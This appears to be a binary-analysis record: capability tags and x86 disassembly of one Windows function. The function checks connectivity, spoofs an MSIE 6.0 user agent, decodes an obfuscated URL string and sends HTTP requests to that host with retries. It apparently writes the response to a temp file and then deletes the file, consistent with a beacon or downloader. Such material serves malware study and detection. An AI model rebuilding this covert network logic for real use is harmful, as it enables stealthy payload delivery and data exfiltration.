Function at 0x1401d9b1
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Delete file
Get common file path
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x73c
mov eax, dword [0x14045524]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor eax, eax
xor ebx, ebx
push 0x7e
mov word [ebp - 0x88], ax
lea eax, [ebp - 0x86]
push ebx
push eax
mov dword [ebp - 0x72c], 3
mov dword [ebp - 0x738], 0x1403ff18
mov dword [ebp - 0x734], ebx
call fcn.140209d0
add esp, 0xc
xor eax, eax
push 0x7e
mov word [ebp - 0x108], ax
lea eax, [ebp - 0x106]
push ebx
push eax
call fcn.140209d0
add esp, 0xc
xor eax, eax
mov esi, 0x206
push esi
mov word [ebp - 0x310], ax
lea eax, [ebp - 0x30e]
push ebx
push eax
call fcn.140209d0
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x518], ax
lea eax, [ebp - 0x516]
push ebx
push eax
call fcn.140209d0
add esp, 0xc
xor eax, eax
push esi
mov word [ebp - 0x720], ax
lea eax, [ebp - 0x71e]
push ebx
push eax
call fcn.140209d0
add esp, 0xc
push dword [0x14047c94]
lea eax, [ebp - 0x88]
push str.http:___ws
push eax
mov esi, 0x104
mov eax, esi
call fcn.1400d70a
add esp, 0xc
push dword [0x14047c94]
lea eax, [ebp - 0x108]
push 0x1403ff3c
push eax
mov eax, esi
call fcn.1400d70a
add esp, 0xc
push dword [0x14047bac]
mov eax, str.0jo_qiq_vsm_6bggje_xt
call fcn.1401d88b
push eax
lea eax, [ebp - 0x720]
push eax
mov eax, esi
call fcn.1400d70a
add esp, 0xc
lea eax, [ebp - 0x518]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push 0x1403ff74
lea eax, [ebp - 0x518]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [ebp - 0x721], bl
cmp byte [ebp - 0x721], bl
jne 0x1401dc39
push 0x64
pop edi
push edi
call esi
push ebx
call dword [sym.imp.WININET.dll_InternetAttemptConnect]
push edi
call esi
push ebx
push 1
lea eax, [ebp - 0x88]
push eax
call dword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
je 0x1401dc20
push edi
call esi
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_5.0__compatible__MSIE_6.0__Windows_XP_
call dword [sym.imp.WININET.dll_InternetOpenW]
push edi
mov dword [ebp - 0x728], eax
call esi
cmp dword [ebp - 0x728], ebx
je 0x1401dc20
push 1
push ebx
push 3
push ebx
push ebx
push 0x50
lea eax, [ebp - 0x108]
push eax
push dword [ebp - 0x728]
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [ebp - 0x730], eax
cmp eax, ebx
je 0x1401dc0c
push edi
call esi
push 1
push 0x84400000
lea eax, [ebp - 0x738]
push eax
lea eax, [ebp - 0x88]
push eax
push ebx
lea eax, [ebp - 0x720]
push eax
push 0x1403ffe0
push dword [ebp - 0x730]
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
mov edi, eax
cmp edi, ebx
je 0x1401dbfc
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x1401dbf5
lea eax, [ebp - 0x310]
push eax
push edi
call fcn.1401d8e5
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebx
push ebx
push ebx
push edi
mov byte [ebp - 0x721], 1
call dword [sym.imp.WININET.dll_HttpEndRequestW]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push 0x64
call esi
push dword [ebp - 0x730]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push dword [ebp - 0x728]
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp byte [ebp - 0x721], bl
jne 0x1401dc2d
dec dword [ebp - 0x72c]
push 0x1388
call esi
cmp dword [ebp - 0x72c], ebx
ja 0x1401db05
lea eax, [ebp - 0x310]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.140206a2
leave
ret